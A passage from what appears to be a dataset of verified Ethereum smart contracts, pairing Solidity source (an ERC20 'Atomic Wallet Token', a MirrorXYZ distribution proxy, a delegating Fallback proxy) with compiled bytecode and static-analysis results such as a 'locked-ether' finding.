* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Atomic Wallet Coin
* @dev Atomic Wallet ERC20 token. Implemented as an OpenZeppelin StandardToken.
*/
contract AtomicWallet is StandardToken {
string public constant name = "Atomic Wallet Token";
string public constant symbol = "AWC";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102c057806370a082311461032557806395d89b411461037c578063a9059cbb1461040c578063d73dd62314610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610678565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610682565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a3c565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610a4d565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a52565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce3565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d2b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d64565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f83565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061117f565b6040518082815260200191505060405180910390f35b6040805190810160405280601381526020017f41746f6d69632057616c6c657420546f6b656e0000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106bf57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079757600080fd5b6107e8826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061087b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061094c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600860ff16600a0a6305f5e1000281565b600881565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b63576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bf7565b610b76838261120690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f415743000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610da157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dee57600080fd5b610e3f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061101482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561121457fe5b818303905092915050565b6000818301905082811015151561123257fe5b809050929150505600a165627a7a72305820a9100b17a969f73b76002ddb13d454d869575952fa5259ed8a0c668102ebc5280029
|
{"success": true, "error": null, "results": {}}
| 7,936 |
0xd1f408F3f82D6B8C8Ddb6C1683A0E0d3f3274DE5
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.6;
contract Ownable {
address public owner;
address private nextOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
// modifiers
modifier onlyOwner() {
require(isOwner(), "caller is not the owner.");
_;
}
modifier onlyNextOwner() {
require(isNextOwner(), "current owner must set caller as next owner.");
_;
}
/**
* @dev Initialize contract by setting transaction submitter as initial owner.
*/
constructor(address owner_) {
owner = owner_;
emit OwnershipTransferred(address(0), owner);
}
/**
* @dev Initiate ownership transfer by setting nextOwner.
*/
function transferOwnership(address nextOwner_) external onlyOwner {
require(nextOwner_ != address(0), "Next owner is the zero address.");
nextOwner = nextOwner_;
}
/**
* @dev Cancel ownership transfer by deleting nextOwner.
*/
function cancelOwnershipTransfer() external onlyOwner {
delete nextOwner;
}
/**
* @dev Accepts ownership transfer by setting owner.
*/
function acceptOwnership() external onlyNextOwner {
delete nextOwner;
owner = msg.sender;
emit OwnershipTransferred(owner, msg.sender);
}
/**
* @dev Renounce ownership by setting owner to zero address.
*/
function renounceOwnership() external onlyOwner {
owner = address(0);
emit OwnershipTransferred(owner, address(0));
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == owner;
}
/**
* @dev Returns true if the caller is the next owner.
*/
function isNextOwner() public view returns (bool) {
return msg.sender == nextOwner;
}
}
// File contracts/lib/interface/IGovernable.sol
interface IGovernable {
function changeGovernor(address governor_) external;
function isGovernor() external view returns (bool);
function governor() external view returns (address);
}
// File contracts/lib/Governable.sol
contract Governable is Ownable, IGovernable {
// ============ Mutable Storage ============
// Mirror governance contract.
address public override governor;
// ============ Modifiers ============
modifier onlyGovernance() {
require(isOwner() || isGovernor(), "caller is not governance");
_;
}
modifier onlyGovernor() {
require(isGovernor(), "caller is not governor");
_;
}
// ============ Constructor ============
constructor(address owner_) Ownable(owner_) {}
// ============ Administration ============
function changeGovernor(address governor_) public override onlyGovernance {
governor = governor_;
}
// ============ Utility Functions ============
function isGovernor() public view override returns (bool) {
return msg.sender == governor;
}
}
// File contracts/distribution/interface/IDistributionLogic.sol
interface IDistributionLogic {
function version() external returns (uint256);
function distribute(address tributary, uint256 contribution) external;
function claim(address claimant) external;
function claimable(address claimant) external view returns (uint256);
function increaseAwards(address member, uint256 amount) external;
}
// File contracts/interface/IENS.sol
interface IENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
// Logged when an operator is added or removed.
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function setRecord(
bytes32 node,
address owner,
address resolver,
uint64 ttl
) external;
function setSubnodeRecord(
bytes32 node,
bytes32 label,
address owner,
address resolver,
uint64 ttl
) external;
function setSubnodeOwner(
bytes32 node,
bytes32 label,
address owner
) external returns (bytes32);
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function setApprovalForAll(address operator, bool approved) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
function recordExists(bytes32 node) external view returns (bool);
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
}
// File contracts/distribution/interface/IDistributionStorage.sol
interface IDistributionStorage {
function registered(address claimant) external view returns (uint256);
}
// File contracts/distribution/DistributionStorage.sol
/**
* @title DistributionStorage
* @author MirrorXYZ
*/
contract DistributionStorage is IDistributionStorage {
// ============ Immutable Storage ============
// The node of the root name (e.g. namehash(mirror.xyz))
bytes32 public immutable rootNode;
/**
* The address of the public ENS registry.
* @dev Dependency-injectable for testing purposes, but otherwise this is the
* canonical ENS registry at 0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e.
*/
IENS public immutable ensRegistry;
// ============ Mutable Storage ============
// The address for Mirror team and investors.
address team;
// The address of the governance token that this contract is allowed to mint.
address token;
// The address that is allowed to distribute.
address treasury;
// The amount that has been contributed to the treasury.
mapping(address => uint256) public contributions;
mapping(address => uint256) public awards;
// The number of rewards that are created per 1 ETH contribution to the treasury.
uint256 contributionsFactor = 1000;
// The amount that has been claimed per address.
mapping(address => uint256) public claimed;
// The block number that an address last claimed
mapping(address => uint256) public lastClaimed;
// The block number that an address registered
mapping(address => uint256) public override registered;
// Banned accounts
mapping(address => bool) public banned;
// The percentage of tokens issued that are taken by the Mirror team.
uint256 teamRatio = 40;
uint256 public registrationReward = 100 * 1e18;
uint256 public registeredMembers;
struct DistributionEpoch {
uint256 startBlock;
uint256 claimablePerBlock;
}
DistributionEpoch[] public epochs;
uint256 numEpochs = 0;
constructor(bytes32 rootNode_, address ensRegistry_) {
rootNode = rootNode_;
ensRegistry = IENS(ensRegistry_);
}
}
// File contracts/lib/upgradable/interface/IBeacon.sol
interface IBeacon {
/// @notice Logic for this contract.
function logic() external view returns (address);
/// @notice Emitted when the logic is updated.
event Update(address oldLogic, address newLogic);
/// @notice Updates logic address.
function update(address newLogic) external;
}
// File contracts/lib/upgradable/BeaconStorage.sol
contract BeaconStorage {
/// @notice Holds the address of the upgrade beacon
address internal immutable beacon;
constructor(address beacon_) {
beacon = beacon_;
}
}
// File contracts/lib/Pausable.sol
interface IPausable {
/// @notice Emitted when the pause is triggered by `account`.
event Paused(address account);
/// @notice Emitted when the pause is lifted by `account`.
event Unpaused(address account);
function paused() external returns (bool);
}
contract Pausable is IPausable {
bool public override paused;
// Modifiers
modifier whenNotPaused() {
require(!paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused, "Pausable: not paused");
_;
}
/// @notice Initializes the contract in unpaused state.
constructor(bool paused_) {
paused = paused_;
}
// ============ Internal Functions ============
function _pause() internal whenNotPaused {
paused = true;
emit Paused(msg.sender);
}
function _unpause() internal whenPaused {
paused = false;
emit Unpaused(msg.sender);
}
}
// File contracts/distribution/DistributionProxy.sol
/**
* @title DistributionProxy
* @author MirrorXYZ
*/
contract DistributionProxy is
BeaconStorage,
Governable,
DistributionStorage,
Pausable
{
constructor(
address beacon_,
address owner_,
address team_,
address token_,
bytes32 rootNode_,
address ensRegistry_,
address treasury_
)
BeaconStorage(beacon_)
Governable(owner_)
DistributionStorage(rootNode_, ensRegistry_)
Pausable(true)
{
// Initialize the logic, supplying initialization calldata.
team = team_;
token = token_;
treasury = treasury_;
}
fallback() external payable {
address logic = IBeacon(beacon).logic();
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), logic, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 {
revert(ptr, size)
}
default {
return(ptr, size)
}
}
}
receive() external payable {}
}
|
0x6080604052600436106101795760003560e01c80638f32d59b116100cb578063c884ef831161007f578063eea4a0a311610059578063eea4a0a314610520578063f2fde38b14610536578063faff50a81461055657610180565b8063c884ef83146104b3578063e4c0aaf4146104e0578063ed459df21461050057610180565b8063b2dd5c07116100b0578063b2dd5c0714610431578063c6b61e4c1461045e578063c7af33521461049357610180565b80638f32d59b146103e15780639c8d83bb1461040157610180565b8063715018a61161012d5780637d73b231116101075780637d73b23114610377578063865909f6146103ab5780638da5cb5b146103c157610180565b8063715018a61461032057806379ba5097146103355780637b0e5f561461034a57610180565b806323452b9c1161015e57806323452b9c146102b257806342e94c90146102c95780635c975abb146102f657610180565b8063013eba921461023a5780630c340a241461027a57610180565b3661018057005b60007f00000000000000000000000025f4da52b8fcd80b38df63733e2406ddc2303d2b6001600160a01b031663d7dfa0dd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156101db57600080fd5b505afa1580156101ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610213919061094f565b905060405136600082376000803683855af43d806000843e818015610236578184f35b8184fd5b34801561024657600080fd5b5061026761025536600461092b565b600a6020526000908152604090205481565b6040519081526020015b60405180910390f35b34801561028657600080fd5b5060025461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610271565b3480156102be57600080fd5b506102c761058a565b005b3480156102d557600080fd5b506102676102e436600461092b565b60066020526000908152604090205481565b34801561030257600080fd5b506012546103109060ff1681565b6040519015158152602001610271565b34801561032c57600080fd5b506102c7610608565b34801561034157600080fd5b506102c76106ab565b34801561035657600080fd5b5061026761036536600461092b565b60076020526000908152604090205481565b34801561038357600080fd5b5061029a7f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e81565b3480156103b757600080fd5b50610267600e5481565b3480156103cd57600080fd5b5060005461029a906001600160a01b031681565b3480156103ed57600080fd5b506000546001600160a01b03163314610310565b34801561040d57600080fd5b5061031061041c36600461092b565b600c6020526000908152604090205460ff1681565b34801561043d57600080fd5b5061026761044c36600461092b565b600b6020526000908152604090205481565b34801561046a57600080fd5b5061047e61047936600461096c565b610780565b60408051928352602083019190915201610271565b34801561049f57600080fd5b506002546001600160a01b03163314610310565b3480156104bf57600080fd5b506102676104ce36600461092b565b60096020526000908152604090205481565b3480156104ec57600080fd5b506102c76104fb36600461092b565b6107ae565b34801561050c57600080fd5b506001546001600160a01b03163314610310565b34801561052c57600080fd5b50610267600f5481565b34801561054257600080fd5b506102c761055136600461092b565b61084c565b34801561056257600080fd5b506102677f1aaf79d9b3323ad0212f6a2f34f8c627d8d45e45a55c774d080e3077334bfad981565b6000546001600160a01b031633146105e95760405162461bcd60e51b815260206004820152601860248201527f63616c6c6572206973206e6f7420746865206f776e65722e000000000000000060448201526064015b60405180910390fd5b6001805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000546001600160a01b031633146106625760405162461bcd60e51b815260206004820152601860248201527f63616c6c6572206973206e6f7420746865206f776e65722e000000000000000060448201526064016105e0565b6000805473ffffffffffffffffffffffffffffffffffffffff1916815560405181907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b6001546001600160a01b0316331461072b5760405162461bcd60e51b815260206004820152602c60248201527f63757272656e74206f776e6572206d757374207365742063616c6c657220617360448201527f206e657874206f776e65722e000000000000000000000000000000000000000060648201526084016105e0565b6001805473ffffffffffffffffffffffffffffffffffffffff19908116909155600080543392168217815560405182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3565b6010818154811061079057600080fd5b60009182526020909120600290910201805460019091015490915082565b6000546001600160a01b03163314806107d157506002546001600160a01b031633145b61081d5760405162461bcd60e51b815260206004820152601860248201527f63616c6c6572206973206e6f7420676f7665726e616e6365000000000000000060448201526064016105e0565b6002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6000546001600160a01b031633146108a65760405162461bcd60e51b815260206004820152601860248201527f63616c6c6572206973206e6f7420746865206f776e65722e000000000000000060448201526064016105e0565b6001600160a01b0381166108fc5760405162461bcd60e51b815260206004820152601f60248201527f4e657874206f776e657220697320746865207a65726f20616464726573732e0060448201526064016105e0565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60006020828403121561093d57600080fd5b813561094881610985565b9392505050565b60006020828403121561096157600080fd5b815161094881610985565b60006020828403121561097e57600080fd5b5035919050565b6001600160a01b038116811461099a57600080fd5b5056fea2646970667358221220bbec471c3704aac83e5b92b3823ff13a9e0e7609b97c696064a8597b5aaaa68f64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,937 |
0x9e9F4B105e10A66B27C771811ce4DefbD44567D2
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
/**
* @title Fallback
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Fallback {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
